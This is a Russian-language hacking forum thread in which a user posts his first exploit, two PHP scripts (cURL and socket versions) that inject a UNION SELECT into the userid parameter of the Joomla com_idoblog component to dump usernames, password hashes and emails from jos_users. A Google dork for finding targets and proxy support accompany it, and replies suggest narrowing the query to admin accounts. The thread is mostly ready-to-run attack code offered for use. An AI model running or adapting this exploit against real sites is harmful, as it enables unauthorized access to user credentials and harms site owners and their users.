Старый 04.01.2011, 21:33   #1
mr.The
 
Аватар для mr.The
 
Регистрация: 05.07.2010
Сообщений: 73
Репутация: 16
Cool [php] joomla com_idoblog /SQL injection Vulnerability Exploit

Написал тут свой первый эксплоит на основе этих данных.
Получив урл выдаёт список юзеров с хешами и мылами.

Версия на курле:
PHP код:
<?php
/**
 * Exploit Title: joomla com_idoblog /SQL injection Vulnerability Exploit
 * cUrl version
 * Author: mr.The
 * Date: 04/01/2011
 * Language: php 
 * Google Dork: inurl:"option=com_idoblog"
 * 
 * Thanks to NOCKAR1111 and http://www.exploit-db.com/exploits/15827/ 
 */
 
if(!isset($argv[1])) die("Usage: php exp.php \"[url]\" \nor \nphp exp.php \"[url]\" \"[proxy]\"\n
Url must be with 'userid' param. 
Example:
php exp.php \"http://site.com/index.php?option=com_idoblog&&userid=5&task=profile&Itemid=1\"\n\n"
);

$url=$argv[1];

$proxy="";
if(isset(
$argv[2])) $proxy=$argv[2];


$inj="+union+select+1,2,concat%280x3d3d3d3a,username,0x3a,password,0x3a,email,0x3a3d3d3d%29,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--";
$url=preg_replace("/userid=([^&]+)$|userid=(.+)&/Uis","&userid=$2$3$1+$inj&",$url)."\n";



$page=get_page($url,$proxy);

if(!
$page) die("Can't get page.\n'");
echo 
"Page downloaded...\n";


preg_match_all("|===:(.+):===|Uis",$page,$rnd);
if(
count($rnd[1])==0) die("Failed!\n");

echo 
"\n";

//print_r($rnd);
foreach($rnd[1] as $str) echo strip_tags($str)."\n"// $str."\n";

echo "Done!\n";




function 
get_page($url$proxy=''$ua="Opera 9.64 (compatible; MSIE 6.0; Windows NT 5.1; ru)") {
    
$ch curl_init();
 
    
curl_setopt($chCURLOPT_URL,$url);
    
curl_setopt($chCURLOPT_USERAGENT,$ua);
 
    
curl_setopt($chCURLOPT_PROXY $proxy);
 
    
$headers [] = "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1";
    
$headers [] = "Accept-Language: ru,en;q=0.9,ru-RU;q=0.8";
    
$headers [] = "Connection: close";
    
$headers [] = "Cache-Control: no-store, no-cache, must-revalidate";
 
    
curl_setopt($chCURLOPT_HTTPHEADER$headers);
 
    
curl_setopt($chCURLOPT_HEADER0); 
    
curl_setopt($chCURLOPT_FAILONERROR1);
    
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    
curl_setopt($chCURLOPT_RETURNTRANSFER,1);
    
curl_setopt($chCURLOPT_TIMEOUT30);
    
curl_setopt($chCURLOPT_CONNECTTIMEOUT30);
    
$result curl_exec($ch);
    
curl_close($ch);
    if(
$result)return $result; else    return false;
}

?>
Версия на сокетах:
PHP код:
<?php
/**
 * Exploit Title: joomla com_idoblog /SQL injection Vulnerability Exploit
 * Socket version
 * Author: mr.The
 * Date: 04/01/2011
 * Language: php 
 * Google Dork: inurl:"option=com_idoblog"
 * 
 * Thanks to NOCKAR1111 and http://www.exploit-db.com/exploits/15827/ 
 */
 
if(!isset($argv[1])) die("Usage: php exp.php \"[url]\" \nor \nphp exp.php \"[url]\" \"[proxy]\"\n
Url must be with 'userid' param. 
Example:
php exp.php \"http://site.com/index.php?option=com_idoblog&&userid=5&task=profile&Itemid=1\"\n\n"
);

$url=$argv[1];

$proxy="";
if(isset(
$argv[2])) $proxy=$argv[2];


$inj="+union+select+1,2,concat%280x3d3d3d3a,username,0x3a,password,0x3a,email,0x3a3d3d3d%29,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--";
$url=preg_replace("/userid=([^&]+)$|userid=(.+)&/Uis","&userid=$2$3$1+$inj&",$url)."\n";



$page=get_page($url,$proxy);

if(!
$page) die("Can't get page.\n'");
echo 
"Page downloaded...\n";

//die($page);

preg_match_all("|===:(.+):===|Uis",$page,$rnd);
if(
count($rnd[1])==0) die("Failed!\n");

echo 
"\n";

//print_r($rnd);
foreach($rnd[1] as $str) echo strip_tags($str)."\n"// $str."\n";

echo "Done!\n";



/**
Функция получения страницы с использованием сокетов
**/
function get_page($page,$proxy='',$ua='Opera 9.27 (compatible; MSIE 6.0; Windows NT 5.1; ru)') {
$page=trim($page);
$proxy=trim($proxy);
preg_match("|//(.+)/|Uis",$page,$rnd);
if(empty(
$rnd[1])) die("Can't parse url!");
$site=$rnd[1];


if(!empty(
$proxy)) {
    list(
$proxy,$port)=explode(":",$proxy);
} else {
    
$proxy=$site;
    
$port=80;
}

//$page=str_replace("http://$site","",$page);
//$page=urlencode($page);

$socket fsockopen($proxy80$port$errstr15);
if (
$socket){
 
    
$send  "GET $page HTTP/1.0\r\n";
    
$send .= "User-Agent: $ua\r\n";
    
$send .= "Host: $site\r\n";
    
$send .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
    
$send .= "Accept-Language: ru,en;q=0.9,ru-RU;q=0.8\r\n";
    
$send .= "Connection: close\r\n\r\n";
 
 
    if(
fputs($socket,$send)) { 
        while(
fgets($socket,1024)!="\r\n" && !feof($socket));
        
$he="";
        while(!
feof($socket)) $he.=fread($socket,10240);
    };
    
fclose($socket);
}
return 
$he;
};

?>

Ну и главный вопрос: что нужно переделать\доделать? Автопробив хешей и заливку шелла не предлагать, ага.
__________________
Бложек mr.The. :rolleyes:
mr.The вне форума   Ответить с цитированием
Старый 04.01.2011, 23:36   #2
m0Hze
 
Аватар для m0Hze
 
Регистрация: 05.07.2010
Сообщений: 326
Репутация: 129
По умолчанию

1) where gid+in(25,24,23)--+ ибо первым юзером может оказаться какойнибудь Test:test а админ будет 10000500
2) Риальне писать лучше на сокетах, ибо нужно быть универсальным, но как показывает практиш, теперь уже а 90% серверов есть курлы.
__________________
multi-vpn.biz - Первый VPN на Эллиптических кривых со скоростью света.

Последний раз редактировалось m0Hze; 05.01.2011 в 00:07..
m0Hze вне форума   Ответить с цитированием
Старый 05.01.2011, 08:39   #3
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию

По моему сейчас чаще cURL нежели sockets, либо у меня карма такая с шелами)))
Цитата:
@curl_setopt($ch, CURLOPT_COOKIE, $cookie);
Не увидел в коде переменную $cookie

ЗЫ Добавь сохранение результата в файл.
b3 вне форума   Ответить с цитированием
Старый 05.01.2011, 10:47   #4
mr.The
 
Аватар для mr.The
 
Регистрация: 05.07.2010
Сообщений: 73
Репутация: 16
По умолчанию

Цитата:
Не увидел в коде переменную $cookie
сори, это осталось в функции. собака там же была, я не виноват)

Цитата:
1) where gid+in(25,24,23)--+ ибо первым юзером может оказаться какойнибудь Test:test а админ будет 10000500
оно там всех юзеров выводит. так что не нужно.

Цитата:
ЗЫ Добавь сохранение результата в файл.
не нужно. Можно использовать перенаправление вывода в файл, это, кажется, даже винда умеет, нет смысла писать велосипеды.


Обновил первый пост, поправил ошибки, добавил версию на сокетах.
__________________
Бложек mr.The. :rolleyes:
mr.The вне форума   Ответить с цитированием
Ответ

Метки
exploit, joomla, php

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot